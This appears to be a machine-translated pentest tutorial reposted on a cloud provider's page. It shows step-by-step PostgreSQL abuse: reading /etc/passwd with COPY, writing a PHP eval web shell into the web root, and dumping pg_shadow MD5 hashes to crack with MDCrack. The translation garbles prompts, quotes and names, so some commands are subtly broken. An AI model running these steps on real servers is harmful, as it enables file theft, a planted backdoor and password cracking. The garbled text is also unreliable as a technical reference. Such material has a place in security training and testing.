Postgresql reads and writes files and crack passwords

Source: Internet
Author: User
Tags psql ssl connection

1. Read files through copy
Mickey @ pentest :~ /Pentest/crack/mdcrack $ psql-h 127.0.0.1-U postgres
User's postgres password:
Psql (8.4.2)
SSL connection (cipher: DHE-RSA-AES256-SHA, bits: 256)
Type "help" for help.
 
S = # create table file (line text );
CREATE TABLE
 
Postgres = # copy file from "/etc/passwd" with delimiter ":";
ERROR: extra data after last expected column
Background: COPY file, line 1: "root: x: 0: 0: root:/bin/bash"
 
Failed because of the delimiter problem. If the file package to be read contains the specified delimiter, it will fail,
 
S = # create table file (line text );
CREATE TABLE
Postgres = # copy file from "/etc/passwd" with delimiter E "";
COPY 47
S = # select * from file;
 
This is a success. It is unrealistic to use pg_read_file () in actual penetration because it restricts directory access.
 
2. Write a sentence to the web directory
S = # create table file (line text );
CREATE TABLE
S = # insert into file values (E "<? Php eval ($ _ POST [mickey] ;?> ");
INSERT 0 1
S = # copy file (line) to "/var/www/one. php ";
COPY 1
 
3. Crack the database account
 
Postgres = # SELECT usename, passwd FROM pg_shadow;
Usename | passwd
---- + -------------
Postgres | md518d0d1643114d8b58e27c77600a1c658
(1 row)
 
The encryption algorithm is md5 (password + username). In this example, the password is mickey, the username is ipvs, And the merged password is mickeypostgres. After md5 encryption, the encryption algorithm is 18d0d1643114d8b58e27c77600a1c658.
 
Attackers can use MDCRACK to crack the attack.
 
Mickey @ pentest :~ /Pentest/crack/mdcrack $ wine MDCrack-sse.exe-algorithm = MD5-append = s 18d0d1643114d8b58e27c77600a1c658

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.